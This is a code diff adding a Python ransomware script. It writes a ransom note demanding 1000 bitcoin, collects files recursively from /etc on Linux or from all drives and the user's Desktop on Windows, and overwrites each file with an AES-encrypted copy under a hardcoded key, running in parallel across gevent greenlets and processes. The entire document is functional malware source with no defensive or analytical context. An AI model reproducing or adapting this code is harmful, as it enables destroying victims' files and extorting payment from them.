|
| 1 | +#author:九世 |
| 2 | +#time:2019/5/5 |
| 3 | + |
| 4 | +import gevent |
| 5 | +from gevent import monkey;monkey.patch_all() |
| 6 | +from Crypto.Cipher import AES |
| 7 | +from multiprocessing import Process |
| 8 | +import base64 |
| 9 | +import binascii |
| 10 | +import platform |
| 11 | +import os |
| 12 | +import re |
| 13 | + |
| 14 | +flst=[] |
| 15 | +file=[] |
| 16 | +class Jiami: |
| 17 | + def __init__(self,key): |
| 18 | + self.key=key |
| 19 | + |
| 20 | + def zhu(self): |
| 21 | + syst=platform.system() |
| 22 | + if syst=='Linux': |
| 23 | + dk=open('/root/demos/lesuo.txt','w',encoding='utf-8') |
| 24 | + dk. write( '你的电脑已被加密,请在三天之内转1000比特币到制定账户\n请联系[email protected]') |
| 25 | + dk.close() |
| 26 | + file.append('/etc') |
| 27 | + elif syst=='Windows': |
| 28 | + dk=open('C:/lesuo.txt','w',encoding='utf-8') |
| 29 | + dk. write( '你的电脑已被加密,请在三天之内转1000比特币到制定账户\n请联系[email protected]') |
| 30 | + dk.close() |
| 31 | + for k in range(65,91): |
| 32 | + path='{}:'.format(chr(k)) |
| 33 | + if path=='C:': |
| 34 | + zx=os.popen('whoami') |
| 35 | + zz=re.findall(r'\\.*',zx.read()) |
| 36 | + ps='C:/Users/{}/Desktop'.format(str(zz[0]).replace('\\','')) |
| 37 | + print(ps) |
| 38 | + file.append(ps) |
| 39 | + elif os.path.exists(path): |
| 40 | + file.append(path) |
| 41 | + |
| 42 | + for f in file: |
| 43 | + self.demo(f) |
| 44 | + |
| 45 | + def demo(self,path): |
| 46 | + global flst |
| 47 | + if os.path.exists(path): |
| 48 | + jg = os.listdir(path) |
| 49 | + for i in jg: |
| 50 | + fn = str(path) + '/' + str(i) |
| 51 | + if os.path.isfile(fn): |
| 52 | + flst.append(fn) |
| 53 | + elif os.path.isdir(fn): |
| 54 | + self.demo(fn) |
| 55 | + |
| 56 | + |
| 57 | + |
| 58 | + def encrypt(self,file): |
| 59 | + if 'lesuo.txt' in file: |
| 60 | + pass |
| 61 | + else: |
| 62 | + dk=open(file,'rb') |
| 63 | + text=dk.read() |
| 64 | + while len(text)%16!=0: |
| 65 | + text+=b'\0' |
| 66 | + else: |
| 67 | + text=text |
| 68 | + |
| 69 | + text=binascii.hexlify(text) |
| 70 | + aes=AES.new(self.key,AES.MODE_ECB) |
| 71 | + jg=str(base64.encodebytes(aes.encrypt(text)),encoding='utf-8').replace('\n','') |
| 72 | + xj=open(file,'wb') |
| 73 | + xj.write(jg.encode('utf-8')) |
| 74 | + xj.close() |
| 75 | + print('[^] 加密成功:{}'.format(file)) |
| 76 | + |
| 77 | + def xc(self,rk): |
| 78 | + rwu=[] |
| 79 | + for s in rk: |
| 80 | + rwu.append(gevent.spawn(self.encrypt,s)) |
| 81 | + gevent.joinall(rwu) |
| 82 | + |
| 83 | + def djc(self): |
| 84 | + calc=0 |
| 85 | + dg=[] |
| 86 | + for u in flst: |
| 87 | + if calc==5000: |
| 88 | + p=Process(target=self.xc,args=(dg,)) |
| 89 | + p.start() |
| 90 | + calc=0 |
| 91 | + dg.clear() |
| 92 | + dg.append(u) |
| 93 | + calc+=1 |
| 94 | + |
| 95 | + if len(dg)>0: |
| 96 | + p = Process(target=self.xc, args=(dg,)) |
| 97 | + p.start() |
| 98 | + |
| 99 | +if __name__ == '__main__': |
| 100 | + KEY='CE8D2AAC0CE1684C'.encode('utf-8') |
| 101 | + obj=Jiami(key=KEY) |
| 102 | + obj.zhu() |
| 103 | + obj.djc() |
0 commit comments